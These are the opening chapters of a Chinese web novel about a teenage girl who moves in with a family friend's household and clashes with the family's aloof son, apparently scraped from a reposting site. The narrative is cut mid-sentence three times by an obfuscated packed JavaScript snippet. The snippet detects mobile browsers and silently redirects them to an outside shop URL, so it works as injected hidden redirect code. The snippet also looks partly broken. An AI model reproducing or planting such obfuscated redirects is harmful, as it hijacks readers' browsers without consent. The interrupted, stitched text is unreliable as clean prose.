《祝你我岁岁年年》 1. 第一块“岁”片 《祝你我岁岁年年》 文/邂逅狐狸 2026.04.10 晋江文学城独家首发 请支持正版 —— 八月末,盛夏。 庆安市第一人民医院家属楼下,“啪嗒啪嗒”的清脆高跟鞋声漫过整条小巷。 高二这年的夏天,烈阳当头,蝉鸣聒噪。温之岁拖着一只白色行李箱,心不在焉跟在母亲冯甯身后。 她即将住进一个陌生的家庭。 “岁岁,到了梁阿姨家以后记得懂事点,千万别给人家添麻烦,知道吗?” 上午刚下过暴雨,路面上到处是坑坑洼洼的小水坑,温之岁踩着双白色帆布鞋,轻盈避开。 思绪神游到外太空,自然没听清冯甯说的话。 高跟鞋声戛然而止,冯甯双手抱胸,皱着眉回头,问她:“我说话你有在听吗?” 温之岁也停下脚步,有点懵,无措地看着冯甯。 “你这是什么表情?” “想去你爸那是吧?” 冯甯的眼神一向如此,严肃凶狠,尤其在提及她那个前夫的时候。温之岁咬了咬唇,低下头去,没说话。 “哼,我劝你是死了这条心。你爸那人什么样你不清楚?人家现在有了新家庭,哪还顾得上你?” “让你回庆安不是让你想他的。你要做的就是抓紧给我把成绩搞上去,之后每隔一段时间都把成绩发我邮箱里,我定期会看。” 冯甯说完就转回身,大步流星往前走,全然无视身后女儿泛红的眼尾。 …… 梁意早在楼下等着了,想想和好友竟已经五六年没见了,一见面就上去给了冯甯一个大大热烈的拥抱。 冯甯也难得地不皱眉,说梁意越来越没个正形。 温之岁原先站在她们身后,还没从刚刚那阵情绪中缓过来,被冯甯一把扯上前,眼神示意她赶快打招呼。 温之岁看向梁意,笑得很乖:“梁阿姨好。” 梁意哎了声,也笑:“这么多年不见,越长越漂亮了哦!” 说着就上前捏了捏温之岁的脸蛋,感叹:“嘿哟,皮肤这么好啊,小脸滑嫩滑嫩的。” 梁意的丈夫常年在外省工作,家里平常只有她和她儿子。知道温之岁要来,毫不心软地就把儿子轰到了书房,卧室留给温之岁。 她带着温之岁和冯甯简单参观了下房子,对温之岁说:“岁岁,阿姨没有女儿,很多细节可能考虑不到,你要是有什么东西缺的或者不习惯的就尽管跟阿姨开口。” 温之岁坐在沙发上,双手扶膝,姿态乖巧端庄,点点头应下:“知道了,谢谢阿姨。” “已经够好了啊。小姑娘哪能那么娇气,”冯甯抿了口茶,把杯子放回茶几上,那杯子与桌面碰撞,竟没发出一点声响。 女人说话声音不徐不缓,音色是温和的,听起来却压迫性极强:“搞好学习才最重要。” 就这么晃晃悠悠过了一下午。梁意和冯甯叙旧,温之岁收拾好行李后坐在她们旁边,静静听着。 偶尔话题会带到梁阿姨那个神秘的还未露面的儿子身上。据说他理科成绩特好,暑假还抽空报名参加了个全国物理竞赛,结果考试当天睡过头误了车次,没考成。 这家伙真是倒霉到家了,温之岁想。 后来她们聊了什么温之岁没太听清,昨晚没睡好,今天又奔波了一上午,困意席来,她靠着沙发渐渐睡去。 再听到动静,是门口那扇老旧的密码门传来的解锁声音。 四、五个十七八岁的男孩乌泱泱地堵在门口,瞧着客厅里的三人,各个眉毛都快飞上天了,脸上的表情堪比夏日傍晚的晚霞。进去也不是,直接走也不是。 温之岁揉了揉眼睛看过去,脑子还迷糊着呢,正疑惑哪个才是梁阿姨那倒霉到家的儿子。 一道清瘦高挺的身影单手抄着兜拨开人群走近。 他个子很高,比周围的一撮人都要高出一截来。薄唇,鼻梁高挺,眉骨也清晰,是单眼皮,浑身上下都透着“哥可不好对付”的懒散劲儿。 是他了吧?看得出来这家伙完美继承了梁阿姨的外貌基因,在人群中绝对是扎眼的存在。 门口的俞迟眯了眯眼,似是反应过来客厅里这一幕是怎么一回事了,下巴对着那群人抬了抬:“进来啊。” 他语气不善。 温之岁倒吸了口凉气。 这家伙……不会很难相处吧? 俞迟和一群人先是和客厅里的三人打了招呼,然后一窝蜂拥向卧室,其中一人手刚扶上门把手,门还没开,被梁意大声制止:“哎!卧室现在是岁岁的了,你们去书房玩。” “……” 一群人又换了个方向,闹哄哄地拥进那间狭小的书房。 门被关上,男生们嘲笑的声音仍然清晰。 “噗哈哈哈哈哈哈哈哈!” “阿迟,你在家是什么地位啊!说被流放就被流放了啊!” …… 好像是她鸠占鹊巢了?还怪尴尬的,温之岁看着那扇紧闭着的书房门,不自在地扣扣手心。 期间俞迟被梁意喊出来过一次。 他一个人窝在最右边的单人沙发上,后背懒洋洋贴着沙发椅背,腿大刺刺敞开,一米八五往上的大高个儿就这么瘫在那块儿,模样完全没个正形。 梁意看到后训他,要他坐好,还命令他不许玩手机。俞大少爷倒也还算听话,把手机往旁边一扔,真就端坐起来,认真扮演起了“好孩子”的角色。 旁边冯甯和梁意话题换得快,话锋一转就聊到了温之岁和俞迟小时候。 他俩就五岁前见过几回,后来冯甯出国,和温远良离婚,温之岁就回了南川姥姥家。 说到这,梁意挺惊喜:“说起来你们俩还算得上是半个青梅竹马哎!” “……” 两个当事人闻言对视一眼,又默契地尴尬挪开。 幼时的事儿不问不知道,听了就会吓一跳。 据说,从小热衷于当“孩子王”的温之岁,因为一辆玩具车,噼里啪啦三两下,把现在人高马大,比她高出二十厘米的俞迟,给打哭了。 温之岁和俞迟俩人一听还有这回事儿,皆是一顿。 目光再次隔空交汇的那一瞬,温之岁觉得自己快被周围空气里的“尴尬分子”淹没了。 在快要“溺死”之前,她心虚地躲闪掉他的目光。 甚至干脆直接把头低下去,专心吃起茶几上的果盘,完全避免一切有可能和俞迟产生视线交汇的机会。 …… 冯甯在国外还有研究项目,今晚九点的飞机就要返程,梁意早就在市中心那块的饭店定了个包间,为冯甯饯行,也为欢迎温之岁来到家里。 梁意在书房门外喊俞迟和房间里一群人去吃饭的时候,温之岁恰好要去卫生间,经过书房门口,看见梁意没好气地拧了把俞迟的胳膊,对他说: “你少在这给我耍脾气啊,你一大男孩,住书房怎么了?这点苦都吃不得啊!” …… 等温之岁再从卫生间里出来的时候,整个房子只剩下她和俞迟。 他正懒洋洋窝在沙发上,一双长腿大刺刺敞开,低头漫不经心滑拉着手机,听到开门的动静,掀起眼皮瞥了温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525950|203499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之岁一下。 这一眼,温之岁察觉到了他眼里的不耐烦。 “这么慢。”果然,她听到俞迟这么说。 “抱歉。”温之岁转身把卫生间的门关上,目光呆愣地在空荡荡的客厅里晃悠。 “我妈和你妈下楼开车去了,”俞迟从沙发上站起身来,似乎是一眼看出了她在疑惑什么,解释,“她们让我等等你。” “走了。”俞迟又瞥她一眼,人已经走到玄关处开始换鞋。 温之岁哦了声,迅速跟上。 两人沉默着换鞋。 俞迟手长腿长,动作也快,很快就换好了站在门口的那处地毯上,双手抱胸,居高临下地看着温之岁发顶翘起的那几根呆毛。 温之岁坐在小木凳上专心系鞋带,见俞迟已经等在一旁,下意识想要加快速度,不成想任何事情都是越急越乱,本来只需几十秒的简单动作,她硬生生花了两分多钟。 再站起身时,因为长时间低头,全身血液倒流,白净的小脸憋得通红。 俞迟不动声色扫了眼她唰一下变红的脸蛋,没多说什么,转过身开门出去了。 两人一前一后站在电梯里,气氛依旧沉默。 温之岁捏了捏手心,脑海里迅速过了遍能打破这尴尬气氛的话题。然而片刻后,只干巴巴地挤了个无聊的问题出来:“你的朋友们…也去吗?” 俞迟那会儿正抬头看着电梯显示屏上不断变化的数字,第一次觉得电梯好慢,八楼好高。 所以一开始没反应过来,几秒后知道她是在问自己的朋友,意味深长地看了她一眼,又偏回头去,斩钉截铁:“不去。” 怎么形容俞迟那会儿的态度呢。就好像,温之岁刚跟他表完白,而他呢,好孩子乖学生一枚,义正言辞、态度决绝地给拒绝了。 “……” 温之岁哦了声,狐疑地又多看了俞迟几眼,觉得这人可能有病。 两人再无别的交流,一路沉默着到车上。 梁意开着车,冯甯坐在副驾,温之岁和俞迟俩人坐在后排,默契地一左一右分开坐,占据着两边的车窗,偏头看向车外,谁都不搭理谁,中间隔着的那段距离像是隔了一整条银河。 从电梯里出来后,两人间的气氛就变得异常诡异。 温之岁有点郁闷。她能明显地感觉到刚刚在电梯里俞迟不想和自己交流,他对她好像有股莫名的敌意,但她又不知道自己到底哪得罪他了。 冯甯向来嘴硬心软,刀子嘴豆腐心。通过后视镜看了看后排俩小孩的状态,到底是怕温之岁会不适应这边的新生活,主动开口喊俞迟,拉近俩小孩的关系:“小迟,听你妈妈说你理科成绩很不错,岁岁之后要是有不懂的,得麻烦你多多帮帮她了。” 温之岁趴在车窗旁,闻言眼睫颤了颤。 她听到俞迟不大自然地咳了声,然后又干笑了两下,才礼貌敷衍地回了冯甯一句:“肯定的。” 梁意打着方向盘,也笑眯眯地跟着附和:“岁岁,你要是有什么不懂的可以随时问,反正你转学后还和他是一个班的,千万别跟这臭小子客气。” 温之岁弯唇,刚想说“谢谢阿姨,我会的”。 旁边的俞迟似乎对他俩同班这事儿特别意外,一下没忍住又连着干咳了好几声。 温之岁闻声看过去,正巧和俞迟的视线在空中对上。 他这次是真咳嗽,少年干净白皙的脖子和耳根都因为剧烈的咳嗽红了大片。 俞迟:“……”他没好气瞪她一眼,心说看什么看,别人咳嗽有那么好看么? 温之岁:“……” 几秒后,温之岁先把目光移开。 2. 第二块“岁”片 梁意定的是一家粤菜馆,包间在最里侧的一间,私密性和隔音效果都很好。 服务员领着四人走到包厢门口,要进去前,温之岁轻扯了扯冯甯的衣摆,冯甯看她一眼,让梁意和俞迟先进去,拉着温之岁走回到饭店的门口。 那会儿大约傍晚七点,正是饭点时间,大门处形形色色都是来吃饭的,大都是手牵手一起进门的一家子,少有的几波是做生意来应酬的人。 冯甯揽着温之岁的肩,问她:“你怎么今天一整天情绪都这么低?” 温之岁轻摇了摇头:“没有。” “没有最好。”冯甯知道她没肯说实话,撒了揽着温之岁肩膀的手,恢复成往常般的严肃,“虽然我跟你梁阿姨这么多年朋友,关系好,但不代表你就能随心所欲,想干嘛就干嘛。” “从小教你的礼貌和教养都去哪了?刚才在车上怎么还跟人家小迟摆起脸色了?” 温之岁低头,沉默着不说话。 “我知道你心里不舒服,一直就想去你爸那。你要是非去不可,就打电话去问问看看他还要你吗……” “妈,”眼见着冯甯又要掉入那个死漩涡,温之岁又抬起头,咬了咬唇,打断她说,“我没有这个意思。” 冯甯看着她,心下一软。别过头去,自觉断了这个话题,问她:“把我叫出来有事说?” 温之岁抿抿唇,开口:“妈妈,要不你去跟梁阿姨说说,能不能把我和俞迟的房间换回来?我想住书房。” 她在车上思来想去,觉得这应该是唯一的一个理由,才惹得俞迟对自己这么不耐烦。 “好端端的换来换去干什么?” “你梁阿姨都安排好了,别给别人和自己没事找事。好好和他们相处就行了。” 然而冯甯两句话堵住她的口,踩着高跟鞋就往饭店里走。 两人回到包间时,梁意和俞迟只点好了几道小菜,剩下的菜都等着她们回来定。 一顿饭吃下来,仍旧是梁意跟冯甯两人说说笑笑。 温之岁坐在俞迟旁边的位置,夹着双筷子,慢吞吞地往嘴里送食物。 味道什么的她都不在意了,吃多了其实也有点撑了,但还是不停往嘴里递东西。她时刻谨记,冯甯小时候就教育她,饭桌上不能玩手机,也不能在别人还在吃的时候就撂了筷子,那样没规矩也不礼貌。 反观旁边没规矩又不礼貌的俞大少爷,早早地就搁下了筷子,兴致缺缺的模样,没个正形地靠在椅子的靠背上,低头懒洋洋刷着手机。 中年妇女的聊天,话题无非绕着工作,孩子成绩,家庭,丈夫。 冯甯是搞学术研究的,平常严肃正经,和别人吃饭从不聊后面的两项,估计是多年老友的缘故,和梁意两人也毫不避讳,梁意聊丈夫,冯甯就聊前夫。 但两人说话时的画风是截然不同的。 梁意看上去是在埋怨和吐槽俞父工作忙,一家人一年到头也见不上几面,可心里却是甜蜜的,也是打心底就支持俞父工作的。 冯甯呢,无论表面上还是心里,都是真的怨恨和瞧不起温远良,说起他时的模样和平常简直判若两人。 俞迟觉得他妈梁意也是心大,丝毫不顾及饭桌上温之岁的感受,骂起人家爸爸来完全不嘴软。 听着听着觉得没什么意思,俞迟一把摁灭了手机,站起身来,和梁意冯甯说了句“出去买个东西”就要往包厢外走。 走过温之岁旁边时,非常随意且客套地问了句:“要一起么。” 温之岁愣了下,睁着一双圆圆的杏眼,看看俞迟,又去看对面的梁意和冯甯,得到允许后,才跟着俞迟走了出去。 俞迟估计是没想过她这会儿真会跟出来,也是一愣,侧头瞥了眼温之岁,放慢步子等她跟上。 他们吃饭的地方后边有一条美食街。 美食街是那种类似网红打卡街的地方,随处可见的举着相机和支架在录视频的自媒体人,食物自然也是中看不中吃,甚至还严重溢价。 温之岁刚刚已经吃得很饱了,虽然不知道俞迟为什么突然叫她出来,这会就权当散步消食。 俞迟腿长,她有时会落在他侧后方。温之岁看着他单手抄进兜里,走路的速率就没变过,目不斜视,真的要怀疑他到底是不是来吃东西的了。 更像是在模仿男模走秀。 “那个……你有看到什么想吃的了吗?” 俞迟侧头看了她一眼,又不动声色放慢了点速度,反问:“你想吃什么?” 温之岁摇头:“我?我没什么想吃的啊。” “那你跟出来干什么?” 温之岁有点懵:“不是你叫我一起的吗?” 他下巴朝斜前方抬了抬:“去那吧。” 温之岁顺着看过去,是一家奶茶店,生意很火爆,店门口排起了一条长长的队伍。 “那家店人很多哎,应该要等很久吧?” 出来时间太长好像不太礼貌。 俞大少爷一时兴起,说要就要,已经抬脚往那边走了:“那你回去呗,又没说非要让你陪着我啊。” 温之岁想了想,给梁意和冯甯各发了条消息,还是跟着俞迟一起去了。 俞迟去排队,让她在边上找个长椅坐着等就行。 于是温之岁一身宽松白色T恤搭浅粉色运动短裤,姿态放松地坐在一条胡桃色木质长椅上。 夏天的傍晚蚊子多,她不得已,时不时地就得晃悠晃悠小腿,伸手在空气中来回扇两下,驱散蚊虫。 等待的时间没想象中的长,十几分钟后就轮到了俞迟。 他拎着两杯奶茶往温之岁这边走来,自己拿了一杯,剩下的一杯连袋子带奶茶一起递到温之岁面前。 温之岁抬眼瞄了瞄俞迟,尔后接过,小声道了句谢。 “嗯。”俞迟应了声,插上吸管喝了一大口,旋即眉毛皱成一团,觉得这种甜腻腻的奶茶甚至比不上矿泉水。 “俞迟!” 一道女声隔着人群响起,语气里尽是惊讶和喜悦。 “真的是你啊,好巧啊!” 漂亮女生留着齐肩发,头发是栗色的,皮肤也白,穿着紧身上衣和牛仔短裙,一颦一笑都甜甜的招人喜欢。她穿过人群,走到两人跟前。 温之岁不知道现在是个什么情况,自觉往后退了两步,给他们留出交流空间。 俞迟对这女生倒是有点印象,好像是他初中一哥们的发小,朝她点点头就算作打了招呼,抬脚要往旁边走。 被女生拦下:“哎!你生日是什么时候啊?前段时间袁川生日的时候我给他送了礼物,大家都是朋友,也该给你送的。” 温之岁站在俞迟身旁偏后一点的位置,低头自顾自地咬着奶茶吸管,听到俞迟态度冷淡说了句:“不用,我不爱过生日。” 啧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525951|203499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 跟那会在电梯里和她说话的态度如出一辙,温之岁偷偷瞄了眼俞迟,真心不懂这家伙脾气这么差是怎么交到那么多朋友的。 “哦,好吧。”这会女生语气里是藏不住的失望。 准备垂头丧气地走了,这才发现跟俞迟站在一块的温之岁,漂亮女生犹豫了下,还是试探性地开口问了句:“旁边这个女生,是……你的女朋友吗?” 她这一问,差点没把刚吸了一大口奶茶小料的温之岁呛个半死。 温之岁咳了好几声,下意识急急忙忙解释:“不是不是,你误会了,我们就是……” 思索了几秒后,温之岁肯定地说:“就是远房表兄妹而已。” 说俞迟是她哥肯定没错,下午在家的时候梁阿姨就是这么向俞迟的那群朋友介绍她的。 果然,下一秒,温之岁看到漂亮女生的脸上绽放出了一个比春日的花朵还要明媚的笑容:“哦,这样啊。不好意思哦,那拜拜啦!” “……” 女生走后,俞迟半眯着眼瞥了瞥温之岁,淡淡评价:“看不出来,你还挺能瞎编。” 温之岁知道俞迟在阴阳怪气,就朝他笑笑。 俞迟目光在女生两颊上若隐若现的酒窝停留了会,身体里莫名生出股热意来。他搓搓耳垂,目光下移,瞥见温之岁手里那杯看上去只喝了几口的奶茶,问她:“奶茶不好喝?” 温之岁一怔,看他一眼,忙说:“不会啊。” 说完就连吸了好几口吸管,刻意要向俞迟证明什么似的。 俞迟勾勾唇,觉得这人不经逗,把自己那杯奶茶随手丢进了旁边的垃圾桶。 再转回身时,少年身体里的那点儿“顽劣因子”全都冒了出来。他看一眼旁边人,故意说:“那就行。一会记得把奶茶钱转我,我可没说要请你。” “噢,好啊。”温之岁对此没任何异议,已经掏出手机点开微信作势要扫他的收款码了。 俞迟:“……” 跟这姑娘还真没法开玩笑。 他彻底服了,也拿出手机,却翻出来个人微信二维码递过去。 温之岁不解地看他一眼,他当她在瞪他,也瞪回去,没好气地说:“加啊。你信不信现在不加,晚上回去我妈也得让我俩加。” 确实是梁阿姨做得出来的事情,温之岁悄悄弯唇笑了笑。“滴”一声,她给俞迟发了好友申请,边给他改备注边问:“刚刚我那杯奶茶多少钱啊?” “四十六。”俞迟头也没抬回。 “啊?”温之岁好惊讶的,一杯奶茶四十六,不至于吧? “两杯一共四十六。你来我家,抢了我的卧室,请我喝杯奶茶应该不算什么过分的事吧?” 俞迟这会儿无所事事,双手抄兜踢着脚下的小石子,话说得很理直气壮。 温之岁没想过他会直接和自己聊起这个话题,怔怔地看着俞迟。 俞迟看出她心中所想。他听到她和她妈妈在饭店门口说的话了,倒是真没想过自己和梁女士随口两句的玩笑话,能让一姑娘胡思乱想这么多。 “请我喝了这杯奶茶,就不跟你计较这事儿了。” 庆安的夏天是黏热的,就连偶尔吹来的风都带着滚烫的热意。 温之岁是在某一阵夏风吹来时听到俞迟这么说的。 吊儿郎当、漫不经意的口吻,却让她心里无端生出一股暖意来。 3. 第三块“岁”片 那会距离庆安市第一中学开学还有一周的时间,温之岁没怎么再在家里碰到过俞迟。 毕竟转学前假期的最后一周,她过得也挺忙碌。 冯甯提前和梁意打过招呼,让她托关系帮忙办好转学手续,还顺便把温之岁安插进了俞迟所在的班级。 不为别的,就因为俞迟在的高二一班是庆安一中高二年级最好的理科实验班。 她冯甯的女儿,到哪都必须去最好的,可万万不能像她那没出息且不求上进的前夫一样,干什么都浑浑噩噩,自甘堕落。 冯甯对自己高要求严标准,对身边人也如此。 可有些时候,往往会压得周围人喘不过气,觉得窒息。 温远良就是在这样的背景下和冯甯提的离婚。 …… “嗯……我看看你的成绩啊。” 庆安一中高二年级班主任办公室里。 一位年轻男教师留着平头,站在工位旁,手里拿着厚厚一叠打印整理好的成绩单,宽大肥肥的鼻梁上架着副眼镜,皮肤白嫩白嫩的,明明是个二三十岁年轻人的模样,偏偏穿了身四五十岁中年老男人的标配衬衫。 然而,此刻徐平面前的温之岁全然无心注意这些,她捏了捏手指尖,又吞了口口水,有些紧张。 温之岁成绩不算差,原先在南川一中能排个中上游。何况她高一上学期还是艺术生,高一下才转的文化生,选了理科。 原因也无他,冯甯觉得文化生比艺术生更有前途,理科比文科更有未来。 只是南川仅仅是个前几年才摘了贫困帽子的小县城,教育资源上和每年都是全省清北录取人数最多的庆安市完全没法比。 和庆安市的头部中学庆安一中更是没法比较。 窗外蝉鸣声不倦,刺眼的阳光在窗帘的遮挡下变成了微弱的光斑,映在桌子上,地面上,温之岁的白球鞋上。 呼呼作响的空调散着丝丝凉气,已经生出了点儿困意来了,温之岁那一颗小心脏还在扑通扑通地跳着。 “嘶…”徐平摸摸下巴,又扶扶眼镜,似是在想措辞,半晌,勉勉强强夸了一句,“语文和英语的成绩都很不错啊。” 温之岁的文科相较理科确实好很多,但徐平口中的不错,仅仅是刚刚达到一班的平均水平。 更别提她那自己都觉得不太行的数理化了。 “还有很大的进步空间呐。” 徐平把那一摞成绩单放回办公桌上,总结出这么一句结论来。 “不过别担心,来了一中,就要相信自己有突飞猛进的潜力。老师和同学们都会帮你的。” 未来老班都这么发话了,温之岁只能点点头,乖巧道:“谢谢徐老师。” …… 报完道的第二天,温之岁就被冯甯“扔”去了数理化提优班。 这个班八月初就开始了,为期一个月,冯甯为了能让温之岁临时插进班里,硬是交了一个月的补课费。 地点在平桥路学习大厦的八楼,温之岁通常是乘公交去的,从家属楼到学习大厦总共就三站路,很方便。 原先梁意打算给她买辆小电驴,方便她上下学,但温之岁拒绝了。 她喜欢乘公交。坐在靠窗的位置,看窗外闪过的一帧帧街景,随着车身晃晃悠悠,最后到达目的地。 整段路程有一种难以言喻的自由和轻松。 那天她照例在平桥路口站下了车,心情不错,还哼着小曲呢,不承想刚拐进大厦的电梯间,就碰到了俞迟。 还有他那一大群朋友。 “……” 一群人浩浩荡荡,热闹哄哄,压根不像是来学习的,原本算不上狭窄的电梯,也因为他们变得拥挤起来。 温之岁缩在电梯的角落里,偷偷瞄了眼同样被挤在墙角的俞迟。 他今天穿了身黑色运动装,头上带了根和身上衣服同个牌子的蓝色发带,刘海因为发带的束缚,比平常看上去要短一截,露出好看的眉骨。也因为被挤得热了,额角和鬓角微微出汗,薄唇红润,喉结上下来回滚着。 温之岁本不想和他们打招呼,电梯这么一上一下理应很快的。奈何它在每层楼都会停一下,电梯门开开关关,有个眼尖的男生就这么认出了她。 “哎!这不阿迟妹妹吗?” 那男生就站在俞迟旁边,肤色偏小麦色,也挺高的,就比俞迟矮了一小截,看见温之岁就跟发现了什么不得了的秘密似的,指着她大声叫起来。 俞迟顺着视线看过去。 其实早看见她了,一块等电梯的时候就发现了。 要不是知道自己今天出门比她早,两人压根没碰上面,他都要怀疑温之岁是不是故意的了。 也穿一身黑,简单的黑色体恤搭黑色短裤,脚上踩了双白色棒球鞋。衬得整个人皮肤更白净了,有种说不出来的自然和漂亮。现在被人当得严严实实的,从他这块看过去,只能看见她高高盘起的丸子头。 她不主动打招呼,那他也不。 装不认识谁不会?装高冷他可比她有经验多了。 俞迟淡淡瞥了她一眼,就收回了视线。 温之岁这会尴尬极了。 一整个电梯的人都在看她。她笑也不是,不笑也不是,最后在这两者之间扯了个要笑不笑、似笑非笑的尬笑出来,僵硬地朝他们挥挥手:“嗨。” 俞迟:“……” “你来这儿干嘛来的?”那男生问。 “补课。”温之岁扬扬手里拿着的课本。 “嚯,这么认真啊。” 温之岁就笑笑,心说不认真不行啊,不认真冯甯可能会把她大卸八块。 秉持着礼尚往来的原则,温之岁把问题抛回去:“你们呢?” “打球啊。” 袁川说着就颠了颠手里的篮球,空间太狭小,一个没注意,球差点就要直直撞上俞迟的脸。 所幸俞迟反应快,抬手挡了下,球才撞回了袁川的肩膀,落回到他怀里。 俞迟凉凉扫他一眼,没好气地骂了句:“你有病?好端端的颠什么球?” 袁川:“……” “袁狗这下绝对故意的!估计是嫉妒迟狗的帅脸,想把他打毁容!” 旁边一群人开始幸灾乐祸起来。 “恶意报复来的。” “哈哈哈哈哈乐死我了!” “可能是早看他不顺眼了哈哈哈哈哈!” …… 温之岁也跟着一起笑,被俞迟看到,瞪了她一眼,她就敛敛笑意,侧过头去偷偷笑。 “妹儿啊,你刚刚没认出我们来啊?” 电梯这会儿刚上到五楼,门开了又关上,原先就短短一会的时间,因为电梯的走走停停,开开合合,这下好像还真能唠会嗑。 这会儿换了个男生说话,那男生站在她斜对面的位置,长相还可以,就是衣品好像不太行,上身粉色体恤,下身橙黄色短裤,穿得跟花孔雀似的。 如果不是他正看着她的眼睛,温之岁都不知道是在和她说话,他喊她妹妹? 尽管心虚死了,漂亮的黑色瞳仁紧张得来回转悠,嘴上还是要打死不承认:“没啊…我刚刚在想事情,没注意到你们。” “叮”一声,电梯终于响起了到达八层的提示音。 温之岁挤过人群,匆匆和他们道了别就跑了。 —— 开学前一天,温之岁接到父亲温远良的电话,父女俩约在了市一中街对面的火锅店见面。 这家店原先是家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525952|203499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶茶炸鸡店,那会儿温之岁还很小,温远良每天放学接她回家经过这儿的时候,她总会蹦蹦跳跳地吵着闹着说要吃炸鸡要喝奶茶。 但冯甯从不允许温之岁吃这些,两人就会偷偷地吃完再回家。有一次冯甯发现了,因为这事儿和温远良大吵了一架。 印象中她的父母总会因为这些鸡毛蒜皮的小事吵架,所以温之岁甚至不记得后来他们是怎么和好的了。 只知道从那之后,她真的对炸鸡奶茶这类食物失去了欲望。 上周俞迟买的那杯,好像是这么多年来的第一杯。 那杯奶茶她到最后也没喝完,就那么放到了第二天的傍晚,然后丢进了小区楼下的垃圾桶。 …… 也不知道是此时此刻坐在这儿触景生情了,还是温远良暗藏跟前妻较劲的心,立马就在小程序上下单了两杯奶茶送过来。 “呐,岁岁,”温远良把其中一杯奶茶插上吸管,移到温之岁手边,“反正咱现在也不跳舞了,不用那么努力保持身材,你妈也不在身边,咱就该吃吃,该喝喝,怎么快乐怎么来!” 边说边给自己这杯也插上,把杯子高高举起:“来闺女,干一个!” 温之岁举杯和他碰了一下,象征性地喝了一口奶茶,觉得齁甜,又去看温远良这几年渐渐圆润起来的啤酒肚和脸,今天这一顿又是火锅又是奶茶的,她有点担忧:“爸,你吃这些高糖高盐的东西真的可以吗?” 温远良夹了刚涮好的牛肉到温之岁碗里,哎了声,笑说:“你放心好了。你老爸我有分寸,偶尔一次没事,那血糖我每天早上晚上都测着的呢!” “那就好。”温之岁点点头。 “转学手续都办好了吧?” “嗯。” 温远良哎一声:“你妈就是爱瞎折腾,非要给你转回来。” “她就知道在意成绩,那转学回来你要适应的东西呢?嘿哟她就完全不考虑了。跟她说她还叫我别多管闲事,那我那是多管闲事吗?我就不懂了,我自己闺女的事怎么能叫多管闲事呢!” 温远良越说越急,气得闷头喝了一大口珍珠奶茶。 温之岁从清汤锅里夹了些烫青菜放到他碗里,安抚:“爸,你多吃点青菜。” 女儿到底是小棉袄,温远良气一下被抚平了,低头快速解决了小棉袄夹来的青菜。 然后继续喋喋不休:“你妈就是对人太严格。闺女,你甭理她啊,成绩不好也没关系,大不了老爸送你去国外,去国外镀层金也不比考国内的大学差嘛!” “……” 说曹操曹操就到,温之岁忽然收到了远在大洋彼岸的冯甯的来电。 “你现在在哪呢?”冯甯刚睡醒,听温之岁这边背景音杂乱,偶尔还有火锅“咕噜咕噜”冒泡的声响,直觉问,“去吃火锅了?” 温之岁震惊于她妈妈的敏锐,给对面温远良使了个眼色,忙说:“嗯……和俞迟…跟俞迟一起来的。” “妈,你有什么事吗?” 冯甯哦了声,声音听起来有些疲惫:“也没什么,想着你不明天要开学了么,问问你最近状态怎么样,妈妈给你报的那个补习班应该还可以吧?” 温之岁点点头,顿时生出些愧疚来:“挺好的。” “挺好的就行。行吧,那不跟你说了,我也要准备去实验室了,”冯甯欲挂电话,想起来什么还是提醒,“哎对了,记得少吃点这些高油高盐的东西,对身体不好,别跟你爸一样,净好这些东西。” 温之岁又瞄一眼温远良,确认她老爸没听到这句话,应下:“……好。” …… 只是她没想到才刚应付完冯甯,俞迟的微信就跳了出来。 【俞迟:我什么时候跟你一起去吃火锅了?】 4. 第四块“岁”片 正式开学这天,梁意特意起了个大早为他们俩做了顿丰盛的早饭。 说丰盛倒也算不上丰盛,就是皮蛋瘦肉粥和水煮鸡蛋。以及,外边早餐铺子买回来的豆浆油条包子。 但对于梁女士来说,这已经是她厨艺道路上的一大突破了。 俞迟从前在家可没这待遇。 只是,味道多少有点一言难尽了。 皮蛋瘦肉粥的米就跟没煮熟似的,夹生,还一股子皮蛋的骚味儿,俞大少爷没吃两口就撂了勺子,专心吃起外边买回来的小笼包。 温之岁倒是很给面子地喝了两小碗,梁意问她味道怎么样的时候,她一个劲的点头,说挺好的。 俞迟抬眼瞄了她一下。 温之岁正慢吞吞地扶着碗,有一下没一下地往嘴里送粥。但她脸上那表情实在算不上是吃到好吃的东西了,眉毛皱着,嘴里塞满了食物,没全咽下去,看上去勉强的很。 那会俞迟就总结出这么一个结论来:温之岁这人,爱撒谎的很,以后要千万小心。 …… 吃完早饭,俞迟准备走了,被梁女士喊住:“你等等,今天别骑车了,反正你和岁岁一个班,你俩刚好一块坐公交去学校。” 俞迟停下脚步回头。 